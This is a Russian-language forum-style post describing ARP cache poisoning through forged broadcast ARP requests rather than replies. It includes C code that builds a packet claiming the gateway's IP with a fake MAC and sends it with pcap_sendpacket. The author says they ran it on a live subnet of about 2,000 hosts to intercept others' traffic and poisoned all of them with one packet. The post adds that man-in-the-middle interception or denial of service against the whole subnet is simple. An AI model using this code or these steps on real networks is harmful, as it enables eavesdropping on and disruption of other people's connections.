была (впрочем и есть) такая штука как ARP спуфинг. делался он методом фальшивого ARP ответа. на данное время файерволлы, да и просто оси, прекрасно понимают что внезапно пришедший шлак, который они и не запрашивали, никоим образом не стоит рассматривать, уж не говоря о занесении его в ARP кеш. тащемта сидел я и думал как перехватить чужой трафик. на ARP ответы травились только некоторые роутеры пользовательские, но не шлюз и не другие машины (подсеть 2к хостов). с одной стороны ловить то было особо нечего - везде pptp и l2tp, с другой стороны - хотелось чтонибудь да сделать. и сделал. вместо ARP ответа решил отправить бродкаст ARP запрос такого рода (кто имеет какойто_ипадрес_от_балды, скажите мне, типа я_ваш_шлюз_сети, и мой мак 00123456789а): Код (Text): //dst == broadcast memcpy(poison_packet, "\xff\xff\xff\xff\xff\xff", 6); //src == any, fake memcpy(poison_packet+6, "\x00\x12\x34\x56\x78\x9a", 6); //type: ARP memcpy(poison_packet+12, "\x08\x06", 2); //ARP stuff: hw type, proto type, opcode (req/reply) memcpy(poison_packet+14, "\x00\x01\x08\x00\x06\x04\x00\x01", 8); // 01 == arp request //sender mac == src memcpy(poison_packet+22, "\x00\x12\x34\x56\x78\x9a", 6); //sender ip == subnet gateway ip memcpy(poison_packet+28, "\x0a\x22\x18\x01", 4); //target mac == null memcpy(poison_packet+32, "\x00\x00\x00\x00\x00\x00", 6); //target ip == random from subnet boundaries memcpy(poison_packet+38, "\x0a\x22\x1c\x12", 4); pcap_sendpacket(fp, poison_packet, 64); и мягко говоря, приуел: (фильтр стоял на мак 00123456789а, который не принадлежит моей сетевухе) траванулись все. с одного пакета, судя конечно по тому как вырос входящий трафик ( >5k пакетов/c. думается что и больше будет, ибо раннее воскресное утро) вообщем, делать мужика в середине очень просто - шлем по одному ARP запросу жертве и шлюзу (не бродкасты конечно) и просто перекладываем траф используя какойнибудь левый мак. досить всю подсеть - еще проще. такто. ** тащемта: а) арп кеш травится не только ответами, но и запросами б) идс повидимому на данный момент не могут противостоять этому в) сетевые девайсы запоминают канальный маршрут следования фрейма